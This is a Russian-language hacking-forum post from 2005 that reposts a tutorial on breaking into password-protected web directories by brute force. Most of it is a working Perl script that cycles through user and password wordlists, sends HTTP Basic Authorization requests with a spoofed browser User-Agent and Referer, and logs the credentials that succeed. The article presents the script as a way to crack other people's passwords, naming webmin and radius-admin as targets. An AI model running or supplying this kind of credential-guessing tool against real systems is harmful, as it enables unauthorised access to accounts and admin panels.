Статьи Brute force на perl'e.

Discussion in 'Статьи' started by foreva, 6 Feb 2005.

  1. foreva

    foreva HACKFORUM.RU

    Joined:
    5 Feb 2005
    Messages:
    48
    Likes Received:
    10
    Reputations:
    -2
    Brute force на perl'e.
    Автор: Forb
    Источник: nsd.ru


    Существует несколько подходов к взлому чьего-либо пароля. Самый "тупой" способ - брутфорс (последовательный перебор паролей по словарю, либо по предварительно сгенерированным паролем). Данный способ актуален лишь тогда, когда других способов попросту нет. И работает он исключительно на удачу ;) То есть, пароль может подобраться со второй попытки, либо через несколько лет. А может вообще не подобраться (по истечению словарного запаса =)). Еще одна слабость брутфорса - это медленная работа... Особенно, если ты на диалапе. Да и сами виндовые брутфорсы глючат... Пока резолвнут адрес, пока сконнектятся, пока передадут/получат данные - пройдет довольно много времени. Дохлый номер... наверное подумаешь ты ;) Но я тебя обрадую... Брутфорс дает хорошие плоды, если программа грамотно написана и запущена с *nix шелла, с хорошим каналом ;) Чтобы удовлетворить эти 2 потребности потребуются два компонента: - Прямые руки - *nix шелл с открытыми соединениями в internet + поддержка background processes В общем-то достаточно... Таким образом, у нас два среды для написания брутфорса - Си и Перл. Как истинный фанат я остановлюсь на втором =) Perl - установлен практически на любой linux-тачке, так что проблем с интерпретатором у нас не возникнет. Итак, пишем брутфорс, который подбирает пароль к запароленой директории на www (например webmin или radius-admin). В этом случае имя пользователя должно быть известно. Сущность www-авторизации (basic) была описана в предыдущих статьях (), так что повторяться не буду. Для создании MimeCode в Perl существует компонент MIME::Base64. его мы и используем.

    Итак, поехали:
    Code:
    #!/usr/bin/perl 
    
    ## Autors: Mike: [email][email protected][/email], Forb: [email][email protected][/email] 
    ## Modified by sikeirosa: [email][email protected][/email] 
    
    use MIME::Base64; 
    use IO::Socket; 
    use POSIX; ### Подрубаем модули POSIX, Socket и Base64 
    
    $server="127.0.0.1"; ### Удаленный сервер 
    $port="80"; ### Удаленный порт 
    $dir="/admin"; ### Запароленная директория 
    $logfile="sucess.log"; ### Логфайл, куда пишем пароль  
    $log="now.log"; ### Логфайл, куда пишем статус (что происходит в данную минуту) 
    $words="bigdict.txt"; ### Словарь (файл с паролями) 
    $users="users.txt"; ### Имя пользователя 
    
    open(file, "<$words") or die print "$!\n"; 
    @pwd_data=; 
    $total=@pwd_data; 
    close file; ### Записываем все пароли в один массив 
    
    
    open(file, "<$users") or die print "$!\n"; 
    @users_data=; 
    $total*=@users_data; 
    close file; ### Записываем всех пользователей в один массив 
    
    $i=0; 
    foreach $user (@users_data) { 
       foreach $pass (@pwd_data) { 
          $i++; 
          chomp($pass); 
          chomp($user); 
          open(file, ">$log") or die print "$!\n"; 
          $perc=($i*100)/$total; 
          $perc=ceil($perc); ### Высчитываем процент 
          print file "$perc\% Done\t$i of $total\t\tNow: $user\:$pass\n"; ### Пишем в лог статус 
          close file; 
    
          $auth=encode_base64("$user\:$pass"); ### Создаем Mime-хеш 
          chomp($auth); 
    
          ### Порождаем сокет 
          $socket=IO::Socket::INET->new( PeerAddr => $server,   PeerPort => $port, Proto => 'tcp', Type => SOCK_STREAM) or die print "Unable to connect to $server:$port\n"; 
          print $socket "GET $dir HTTP/1.1\n"; 
          print $socket "Host: $server\n"; 
          print $socket "Accept: */*\n";    
          print $socket "Referer: http://support.microsoft.com/\n"; 
          print $socket "User-Agent: Internet Explorer 6.0\n"; 
          print $socket "Pragma: no-cache\n"; 
          print $socket "Cache-Control: no-cache\n"; 
          print $socket "Authorization: Basic $auth\n"; 
          print $socket "Connection: close\n\n"; ### Отправляем http-данные + Mime-хеш 
    
          $ans=<$socket>; ### Получаем ответ от сервера 
        
           
          if ($ans=~/200 Ok/i or $ans=~/301/i) { 
             open(logf, ">>$logfile") or die print "$!\n"; ### Если пароль верный - пишем в success-лог 
             print logf "$user:$pass is OK!!!\n"; 
             close logf; 
          } 
          close($socket); 
       } 
    } 
    
    Таким образом брутфорс будет работать пока не закончится словарь с паролями, либо пока пароль не подберется: все зависит от удачи ;)
     
    #1 foreva, 6 Feb 2005
    Last edited: 6 Feb 2005